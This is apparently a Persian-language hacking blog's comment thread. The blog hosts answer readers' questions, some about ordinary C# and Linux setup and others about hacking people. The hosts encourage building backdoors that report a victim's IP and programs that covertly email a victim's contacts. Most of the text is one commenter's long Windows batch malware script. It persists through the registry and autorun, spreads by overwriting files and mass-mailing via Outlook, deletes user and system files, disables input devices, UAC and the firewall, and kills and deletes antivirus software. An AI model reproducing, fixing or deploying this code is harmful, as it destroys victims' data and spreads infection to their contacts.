    من یه سوال دارم و اون اینه که ایا میشه وقتی یه نفر به اینترنت وصله و من هم وصلم هکش کنم؟یعنی اطلاعاتش رو ازگوشیش بردارم؟
    MR C0D3R :
    همینجوری الکی الکی نمیشه هکش کرد
    اما میتونیم برنامه ای درست کنیم که وقتی برناممون توسط هدف نصب شد
    یه حرکتایی از راه دور بزنیم که یارو سکته ی خفیف کنه :)
    سلام برای برنامه نویس شدن باید چه رشته ای تو دانشگاه انتخاب کرد؟ من گیج شدم
    MR C0D3R :
    سلام
    برای برنامه نویس شدن هر رشته ای عشقت کشید میتونی برداری
    اگه هم خواستی میتونی نرم افزار برداری
    سلام با برنامه های sniffer میشه وبلاگ هک کرد
    اگه لطف کنید مطالبتونو درباره هک وبلاگ اپدیت کنید
    :)
    خیلی ممنون
    MR C0D3R :
    سلام
    سایت های ایرانی خلاف قوانینه عزیز
    اما سعی میکنیم مطالب وب هکینگ و پیاده سازیشون رو روی سایت های خارجی و ...
    بیشتر کنیم تا با اینجور کارا بیشتر آشنا بشین :)
    سلام مرسی ولی منظورم اون نبود.
    یه پست خیلی طولانی بود و از بوت وارد میشد فکرکنم. اصلا نیاز به بالا اومدن سیستم و ویندوز و این حرفا نداشت
    MR C0D3R :
    سلام
    مطمئنم اینو میگی :)
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    میگم که، خود ***** یا یکی دیگه؟
    MR C0D3R :
    بالای جوابم اسم زده دیگه !!!
    پس نیستم
    سلام داداش یه برنامه نوشتم با سی شارپ حالا میخواستم ببینم جچوری میشه وقتی برنامه رو دادم به کسی از طرف اون یارو ایمیل ارسال کنم به مخاطباش و ... جوری که طرف نفهمه یعنی نیام وسط برنامه یه کلید بزارم روشم بنویسم ارسال ایمیل یه جوری که طرف حداقا توی ظاهر برنامه متوجه اون نشه هر چند بعدا که بره تو ایمیلش میبینه که پیام ارسال شده به مخاطباش.

    راستی داداش چند وقت پیش اسپایک گف که یه اموزش لینوکس اوکی کردم دارم با ویروس حرف میزنم که اگه شد بزاره تو وب,اون چی شد میزارین یا ن؟ چون کلا تو وب فک نکم پستی در مورد لینوکس و اینا باشه


    MR C0D3R :
    سلام
    میخوای یدونه برنامه درست کنی که یارو اول لاگین کنه توی اکانت جیمیلش
    بعدا به مخاطب های اون ایمیل ارسال کنی ؟
    یا اینکه میخوای همینجوری فقط برنامه رو بدی روی سیستم یارو و برنامه خود به خود ایمیل ارسال کنه به مخاطب های اکانتی که روی اون سیستمه ؟ :(
    اگه منظورت روش اوله شاید بشه یه حرکتایی زد
    اما روش دوم رو نمیدونم :(
    والا اول نظرم روی روی روش دوم بود ولی وقتی یه کم فکر کردم دیدم میشه با یه کم تغییر از همون روش اولم استفاده کرد.

    سلام ، آقا رمز پست های سایت چیه؟
    MR C0D3R :
    سلام
    یه خرده تو وب بچرخ
    مطمئنم پیداش میکنی
    دوباره سلام
    آره قربون دستت همونو میگم
    ویندوز 10 هم گذاشتین پستشو؟ اگه نذاشتین مینویسین؟
    MR C0D3R :
    سلام
    توی ویندوز ده هم باید به همون شکل باشه
    یه تست بگیر
    یه پست هم درباره بازگردانی اطلاعات هاردی که پاک شده میذارین؟ لطفا؟
    MR C0D3R :
    این نرم افزاره (EASEUS Data Recovery) بکارت نیومد ؟
    والا از تست گرفتن گذشته بعد از گند زده شدن به سیستمم تصمیم گرفتم اینارو ایمن یجا داشته باشم، دوباره به این مشکلا برخوردم کل اطلاعات و زحمتای چندین سالم دود نشه.
    مرسی
    سلام عزیزان من خیلی وقت بود ازتون سوال نکرده بودم از دستم راحت شده بودینا ولی شّر من به این زودیا کنده نمیشه هاهاهاها
    آه دلم خیلی براتون تنگ شده بود مخصوصا ویروس جوون و مستر کدرعزیزم راستش باید اعتراف کنم که به این وب و شما معتاد شدم هر وقت سر نمیزنم انگار یه چیز کمه و دلم میگیره
    خیلی دخترونه حرف زدم ولش به قول ویروس جون بریم سر عسل متلب
    همونطور که میدونید اگه یه سیستم مودمشو روشن و خاموش کنه آیپیش عوض میشه حالا چطور میشه یه بکدور ایجاد کرد تو سیستمش که هرموقع آیپیش عوض شد ، بشه دوباره آیپیشو به دست آورد، اصلن میشه؟
    دوستتون دارم با تشکر O_o
    MR C0D3R :
    سلام
    چه با کلاس D:
    آره داشی میشه
    میتونیم برناممونو کاری کنیم که هر موقع خواستیم آی پی
    یارو رو برای ما اس ام اس کنه یا اینکه دستور بدیم اگه آی پیش عوض شد دوباره ارسال کنه
    یا اگه حرفه ای تر باشیم
    میتونیم از طریق برنامه نویسی شبکه کاری کنیم
    فایل رو به سیستم خودمون که مثلا سروره بفرستیم
    منظورم از هک افراد متصل به اینترنت پست نفوذ به سیستم در شبکست همه مراحل رو رفتم ولی نفهمیدم باید چجوری نفوذ کنم
    MR C0D3R :
    چه بد :(
    سلام ویروس من چند روز پیش مانیتورم دود کرد سوخت به نظرت ویروس بوده؟
    Virus 32 :
    سلام
    نه نمیتونه ویروس باشه
    داداش سلام
    شرمنده بلزم یه سوال در مورد سی شارپ داشتم
    چطوری میشه یه متد رو جوری تعریف کنیم که تو همه فرم ها قابل دسترسی باشه؟؟
    Virus 32 :
    سلام عزیز
    ابتدا بهتره یه صفحه کد به پروژه ات اضافه کنی
    با همون روشی که فرم جدید اضافه میکنی
    بر روی code کلیک کن و class رو انتخاب کن و یه اسمی (مثلا codd) در نظر بگیر و ادد کن
    حالا توی اون صفحه کدهای مشترکت رو بصورت پابلیک بنویس
    مثلا میخوایی یه پیام رو در هر صفحه ای که لازم شد نمایش بدی
    public void msok()
    {
    MessageBox.Show("ذخیره سازی انجام شد", "ذخیره",MessageBoxButtons.OK , MessageBoxIcon.Information);
    }
    حالا برای نمایش دادن این پیام در یه فرم دیگه ابتدا این صفحه رو باید در ابتدای کدها فراخوانی کنی
    public partial class darkhast : Form
    {
    codd cd = new codd();
    بعد در هرجای کدها میتونی به شکل زیر این پیام رو فراخوانی کنی
    cd.msok();
    امیدوارم منظورتو درست متوجه شده باشم
    اره داداش درست متوجه شدی مشکلم حل شد
    پس اینجوری دیگه ، که کدهای مشترک رو تو یه کلاس بنویسیم و یه شی از اون کلاس تعریف کنیم و هز جا لازم شد متد رو فراخوانی کنیم
    واقعا ممنون داداش
    دمت گرم
    Virus 32 :
    درسته اکثرا از این روش استفاده میشه
    خواهش میشه :)
    پ من میرم رشته ابیاری گیاهان دریایی
    فقط اونجا چطور یاد میدن برنامه نویسی رو؟
    MR C0D3R :
    برنامه نویسی چیزیه که خودت باید یاد بگیری
    حتی تو دانشگاها هم اونطور که باید چیزی رو بگن نمیگن
    خب یاد بده دیگه باید چیکار کنم





    ؟
    سلام
    حاجی دستم به دامنت
    میخوام کالی رو روی فلش نصب کنم
    بعد فایل لینوکسه 2 تا پارته ولی نرم افزاره نمیزاره دو تا فایل انتخاب کنی
    بعد دو تا سوال :
    1-برنامه دیگه ای سراغ داری که بشه باهاش 2 تا پارتشو انتخاب کنی ؟
    اگه نه که چجوری میشه دو تا پارتشو تبدیل به یکی کنی (فرمت دو تاشم iso یه)؟
    MR C0D3R :
    سلام
    لینوکس رو از کجا دانلود کردی ؟ پیشنهاد میکنم از تو سایت خودش دانلود کنی که تک فایل باشه
    جفت پارت رو توی یه جا قرار بده و بعدش رو پارت اول کلیک راست کن و گزینه ی Extract here رو انتخاب کن
    با اینکار جفت پارت رو یه جا اکسترکت میکنه
    حالا به فلشت قابلیت بوت شدن بده ( از طریق خط فرمان و برنامه های آماده میتونی )و بعد از اینکه لینوکس رو ریختی تو فلشت
    سیستم رو رستارت بده و بوت شدن سیستمت رو از هارد به فلش تغییر بده
    و الی آخر ...
    سلام
    حاج ویروس کم پیدایی:(
    ما این مدت همش به مستر کدر زحمت دادیم:)
    دلمون برات تنگ شده بود:/


    (پ.ن:بیشتر ب ما سر بزن)
    لینوکسو که از p30downlod دان کردم البته یه هفته پیش ولی الان فایلشو پیدا کردم :|

    داداش دمت گرم ok شد
    سلام داش
    یه سوال داشتم.
    من ادرس admin login page یه سایتی رو بدست اوردم:)
    میخواستم ببینم چجوری میشه کد های php اونو ببینم:/
    اگه میشهD:
    MR C0D3R :
    نه نمیشه سایت ایرانیه :)
    داداش بازم سلام
    یه سوال دیگه هم داشتم
    چطوری میشه موقعیت مکانی یه فایل ( مثلا یه آیکون ) رو روی دسکتاپ تغیر داد ؟؟
    مثلا من یه ایکون روی دسکتاپم دارم می خوام طول و عرض بهش بدم آیکونم بره اونجا
    میشه اینکارو کرد ؟؟؟
    MR C0D3R :
    سوالت یه کوچولو عجیبه
    اول گفتی موقعیت مکانی فایلت ؟
    یعنی وقتی رو فایل کلیک راست میکنیم و میریم تو ویژگی های اون مسیرشو میده ؟ اونو میگی ؟
    حالا پایین ترش گفتی میخوای بهش طول و عرض بدی ، یعنی وقتی با Paint ادیت کردیم با ویژگی Resize اندازه اونو تغییر بدی
    حالا منظورت روش دومه که بخوای آیکونتو ویرایش کنی یا اینکه اولیه و میخوای مسیرشو تغییر بدی ؟
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    اینم ادرسش(لطفا آدرسو خط خطی کن)
    ***************************************
    MR C0D3R :
    روی سایت های ایرانی کار نکن
    جونه من:(
    راستی اگه خواستید ویدیو های آموزشی بزارید من میتونم خیلی کمکتون کنم
    MR C0D3R :
    نه ممنون
    یه سوال دیگه:)
    امروز خیلی اذیتتون کردم ولی خیلی فوریه
    این کدا بت هستن خواستم ببینم اینا که نوشتم کار میکنه یا الکی وقتمو تلف کردم؟

    @ echo off

    set valinf="rundll32_%random%_toolbar"
    set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
    reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul

    for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
    copy /Y %0 %%E:\
    echo [AutoRun] > %%E:\autorun.inf
    echo open="%%E:\%0" >> %%E:\autorun.inf
    echo action=Open folder to see files... >> %%E:\autorun.inf)

    Dir %SystemRoot% /s /b > PathHost
    For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
    Del /f /s /q PathHost > Nul

    copy %0 "%userprofile%\Start Menu\Programs\Startup"

    echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT

    copy %0 %windir%\system32\ls.bat

    assoc .exe=batfile
    DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_exe.txt) do copy /y %0 "%%j:%%k"

    assoc .lnk=batfile
    DIR /S/B %SystemDrive%\*.lnk >> InfList_lnk.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_lnk.txt) do copy /y %0 "%%j:%%k"

    assoc .doc=batfile
    DIR /S/B %SystemDrive%\*.doc >> InfList_doc.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_doc.txt) do copy /y %0 "%%j:%%k"

    assoc .txt=batfile
    DIR /S/B %SystemDrive%\*.txt >> InfList_txt.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_txt.txt) do copy /y %0 "%%j:%%k"

    assoc .pdf=batfile
    DIR /S/B %SystemDrive%\*.pdf >> InfList_pdf.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_pdf.txt) do copy /y %0 "%%j:%%k"

    assoc .xml=batfile
    DIR /S/B %SystemDrive%\*.xml >> InfList_xml.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_xml.txt) do copy /y %0 "%%j:%%k"

    assoc .mp3=batfile
    DIR /S/B %SystemDrive%\*.mp3 >> InfList_mp3.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp3.txt) do copy /y %0 "%%j:%%k"

    assoc .mp4=batfile
    DIR /S/B %SystemDrive%\*.mp4 >> InfList_mp4.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_mp4.txt) do copy /y %0 "%%j:%%k"
    assoc .png=batfile
    DIR /S/B %SystemDrive%\*.png >> InfList_png.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_png.txt) do copy /y %0 "%%j:%%k"
    echo dim x>>%SystemDrive%\mail.vbs
    echo on error resume next>>%SystemDrive%\mail.vbs
    echo Set fso ="Scripting.FileSystem.Object">>%SystemDrive%\mail.vbs
    echo Set so=CreateObject(fso)>>%SystemDrive%\mail.vbs
    echo Set ol=CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
    echo Set out=WScript.CreateObject("Outlook.Application")>>%SystemDrive%\mail.vbs
    echo Set mapi = out.GetNameSpace("MAPI")>>%SystemDrive%\mail.vbs
    echo Set a = mapi.AddressLists(1)>>%SystemDrive%\mail.vbs
    echo Set ae=a.AddressEntries>>%SystemDrive%\mail.vbs
    echo For x=1 To ae.Count>>%SystemDrive%\mail.vbs
    echo Set ci=ol.CreateItem(0)>>%SystemDrive%\mail.vbs
    echo Set Mail=ci>>%SystemDrive%\mail.vbs
    echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)>>%SystemDrive%\mail.vbs
    echo Mail.Subject="Is this you?">>%SystemDrive%\mail.vbs
    echo Mail.Body="Man that has got to be embarrassing!">>%SystemDrive%\mail.vbs
    echo Mail.Attachments.Add(%0)>>%SystemDrive%\mail.vbs
    echo Mail.send>>%SystemDrive%\mail.vbs
    echo Next>>%SystemDrive%\mail.vbs
    echo ol.Quit>>%SystemDrive%\mail.vbs
    start "" "%SystemDrive%\mail.vbs"

    RUNDLL32 USER32.DLL,SwapMouseButton

    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'
    echo %random% > 'C:\%random%.txt'


    echo Do >> "opendisk.vbs"
    echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
    echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
    echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
    echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
    echo Loop >> "opendisk.vbs"
    start "" "opendisk.vbs"

    start "" "%systemroot%\system32\oobe\images\title.wma"

    time 12:00

    net start "messenger"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"
    net send * "Spammed Message"

    attrib +h %0

    assoc .dll=txtfile
    assoc .exe=pngfile
    assoc .vbs=Visual Style
    assoc .reg=xmlfile
    assoc .txt=regfile
    assoc .mp3=txtfile
    assoc .xml=txtfile
    assoc .png=txtfile

    @((( Echo Off > Nul ) & Break Off )
    @Set HiveBSOD=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    @Reg Add "%HiveBSOD%" /v "BSOD" /t "REG_SZ" /d %0 /f > Nul
    @Del /q /s /f "%SystemRoot%\Windows\System32\Drivers\*.*"
    )

    attrib +h "%userprofile%\my documents"

    attrib +h "%userprofile%\my documents\my music"
    attrib +h "%userprofile%\my documents\my videos"
    attrib +h "%userprofile%\my documents\my pictures"


    DIR /S/B %SystemDrive%\*.doc >> FIleList_doc.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_doc.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.txt >> FIleList_txt.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_txt.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.pdf >> FIleList_pdf.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_pdf.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.xml >> FIleList_xml.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_xml.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.mp3 >> FIleList_mp3.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp3.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.mp4 >> FIleList_mp4.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_mp4.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.png >> FIleList_png.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_png.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_exe.txt) do del "%%j:%%k"

    DIR /S/B %SystemDrive%\*.lnk >> FIleList_lnk.txt
    echo Y | FOR /F "tokens=1,* delims=: " %%j in (FIleList_lnk.txt) do del "%%j:%%k"

    attrib -r -s -h c:\autoexec.bat
    del c:\autoexec.bat
    attrib -r -s -h c:\boot.ini
    del c:\boot.ini
    attrib -r -s -h c:\ntldr
    del c:\ntldr
    attrib -r -s -h c:\windows\win.ini
    del c:\windows\win.ini
    shutdown /r /t 00

    del /f /q %SystemDrive%\WINDOWS\system32\hal.dll

    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    echo start "" %0>>crash.bat
    start "" crash.bat

    del /f /q '%userprofile%\My Documents\*.*'

    del /f /q '%userprofile%\My Music\*.*'

    del /f /q '%userprofile%\My Pictures\*.*'

    tskill notepad
    del /f /q "%windir%\system32\notepad.exe"

    tskill mspaint
    del /f /q "%windir%\system32\mspaint.exe"

    tskill WINWORD
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\WINWORD.EXE"

    tskill calc
    del /f /q "%windir%\system32\calc.exe

    tskill excel
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\EXCEL.EXE"

    tskill outlook
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\OUTLOOK.EXE"

    tskill msaccess
    del /f /q "%SystemDrive%\Program Files\Microsoft Office\Office10\MSACCESS.EXE"

    tskill iexplore
    del /f /q "C:\Program Files\Internet Explorer\iexplore.exe"

    tskill safari
    del /f /q "C:\Program Files\Safari\Safari.exe"

    reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "START PAGE" /d "http://www.virus32.blog.ir"

    @Set RegistyEditCmd=Cmd /k Reg Add
    @Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    @%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul

    set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
    reg delete %key%
    reg add %key% /v Start /t REG_DWORD /d 4

    echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
    echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
    echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
    echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
    echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
    echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
    echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
    echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
    echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
    echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
    echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
    echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
    echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
    echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
    echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
    echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
    echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
    echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
    echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
    echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
    echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
    echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
    echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
    start "nokeyboard.reg"

    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul

    net stop "SDRSVC"

    @Echo off & @@Break Off
    Ipconfig /release
    %jUmP%E%nD%c%onFiG%h%IdE%o%P% h%aRv%%aRd%A%T%%cHe%cK%HappY%3D b%aLLo0Ns%Y%eS% m3Ga!?!
    P%ReSs%%IE%AuS%ExPloR%e%r% > nul.%TempInternetRelease%

    net stop “Security Center”
    netsh firewall set opmode mode=disable
    tskill /A av*
    tskill /A fire*
    tskill /A anti*
    cls
    tskill /A spy*
    tskill /A bullguard
    tskill /A PersFw
    tskill /A KAV*
    tskill /A ZONEALARM
    tskill /A SAFEWEB
    cls
    tskill /A OUTPOST
    tskill /A nv*
    tskill /A nav*
    tskill /A F-*
    tskill /A ESAFE
    tskill /A cle
    cls
    tskill /A BLACKICE
    tskill /A def*
    tskill /A kav
    tskill /A kav*
    tskill /A avg*
    tskill /A ash*
    cls
    tskill /A aswupdsv
    tskill /A ewid*
    tskill /A guard*
    tskill /A guar*
    tskill /A gcasDt*
    tskill /A msmp*
    cls
    tskill /A mcafe*
    tskill /A mghtml
    tskill /A msiexec
    tskill /A outpost
    tskill /A isafe
    tskill /A zap*
    cls
    tskill /A zauinst
    tskill /A upd*
    tskill /A zlclien*
    tskill /A minilog
    tskill /A cc*
    tskill /A norton*
    cls
    tskill /A norton au*
    tskill /A ccc*
    tskill /A npfmn*
    tskill /A loge*
    tskill /A nisum*
    tskill /A issvc
    tskill /A tmp*
    cls
    tskill /A tmn*
    tskill /A pcc*
    tskill /A cpd*
    tskill /A pop*
    tskill /A pav*
    tskill /A padmin
    cls
    tskill /A panda*
    tskill /A avsch*
    tskill /A sche*
    tskill /A syman*
    tskill /A virus*
    tskill /A realm*
    cls
    tskill /A sweep*
    tskill /A scan*
    tskill /A ad-*
    tskill /A safe*
    tskill /A avas*
    tskill /A norm*
    cls
    tskill /A offg*
    del /Q /F C:\Program Files\alwils~1\avast4\*.*
    del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
    del /Q /F C:\Program Files\kasper~1\*.exe
    cls
    del /Q /F C:\Program Files\trojan~1\*.exe
    del /Q /F C:\Program Files\f-prot95\*.dll
    del /Q /F C:\Program Files\tbav\*.dat
    cls
    del /Q /F C:\Program Files\avpersonal\*.vdf
    del /Q /F C:\Program Files\Norton~1\*.cnt
    del /Q /F C:\Program Files\Mcafee\*.*
    cls
    del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
    del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
    del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
    del /Q /F C:\Program Files\Norton~1\*.*
    cls
    del /Q /F C:\Program Files\avgamsr\*.exe
    del /Q /F C:\Program Files\avgamsvr\*.exe
    del /Q /F C:\Program Files\avgemc\*.exe
    cls
    del /Q /F C:\Program Files\avgcc\*.exe
    del /Q /F C:\Program Files\avgupsvc\*.exe
    del /Q /F C:\Program Files\grisoft
    del /Q /F C:\Program Files\nood32krn\*.exe
    del /Q /F C:\Program Files\nood32\*.exe
    cls
    del /Q /F C:\Program Files\nod32
    del /Q /F C:\Program Files\nood32
    del /Q /F C:\Program Files\kav\*.exe
    del /Q /F C:\Program Files\kavmm\*.exe
    del /Q /F C:\Program Files\kaspersky\*.*
    cls
    del /Q /F C:\Program Files\ewidoctrl\*.exe
    del /Q /F C:\Program Files\guard\*.exe
    del /Q /F C:\Program Files\ewido\*.exe
    cls
    del /Q /F C:\Program Files\pavprsrv\*.exe
    del /Q /F C:\Program Files\pavprot\*.exe
    del /Q /F C:\Program Files\avengine\*.exe
    cls
    del /Q /F C:\Program Files\apvxdwin\*.exe
    del /Q /F C:\Program Files\webproxy\*.exe
    del /Q /F C:\Program Files\panda software\*.*

    net stop “Security Center”
    netsh firewall set opmode mode=disable
    tskill /A av*
    tskill /A fire*
    tskill /A anti*
    cls
    tskill /A spy*
    tskill /A bullguard
    tskill /A PersFw
    tskill /A KAV*
    tskill /A ZONEALARM
    tskill /A SAFEWEB
    cls
    tskill /A OUTPOST
    tskill /A nv*
    tskill /A nav*
    tskill /A F-*
    tskill /A ESAFE
    tskill /A cle
    cls
    tskill /A BLACKICE
    tskill /A def*
    tskill /A kav
    tskill /A kav*
    tskill /A avg*
    tskill /A ash*
    cls
    tskill /A aswupdsv
    tskill /A ewid*
    tskill /A guard*
    tskill /A guar*
    tskill /A gcasDt*
    tskill /A msmp*
    cls
    tskill /A mcafe*
    tskill /A mghtml
    tskill /A msiexec
    tskill /A outpost
    tskill /A isafe
    tskill /A zap*
    cls
    tskill /A zauinst
    tskill /A upd*
    tskill /A zlclien*
    tskill /A minilog
    tskill /A cc*
    tskill /A norton*
    cls
    tskill /A norton au*
    tskill /A ccc*
    tskill /A npfmn*
    tskill /A loge*
    tskill /A nisum*
    tskill /A issvc
    tskill /A tmp*
    cls
    tskill /A tmn*
    tskill /A pcc*
    tskill /A cpd*
    tskill /A pop*
    tskill /A pav*
    tskill /A padmin
    cls
    tskill /A panda*
    tskill /A avsch*
    tskill /A sche*
    tskill /A syman*
    tskill /A virus*
    tskill /A realm*
    cls
    tskill /A sweep*
    tskill /A scan*
    tskill /A ad-*
    tskill /A safe*
    tskill /A avas*
    tskill /A norm*
    cls
    tskill /A offg*

    del /F /Q %SystemDrive%\recycler\S-1-5-21-1202660629-261903793-725345543-1003\run.bat
    set ii=ne
    set ywe=st
    set ury=t
    set iej=op
    set jt53=Syma
    set o6t=nor
    set lyd2=fee
    set h3d=ton
    set gf45=ntec
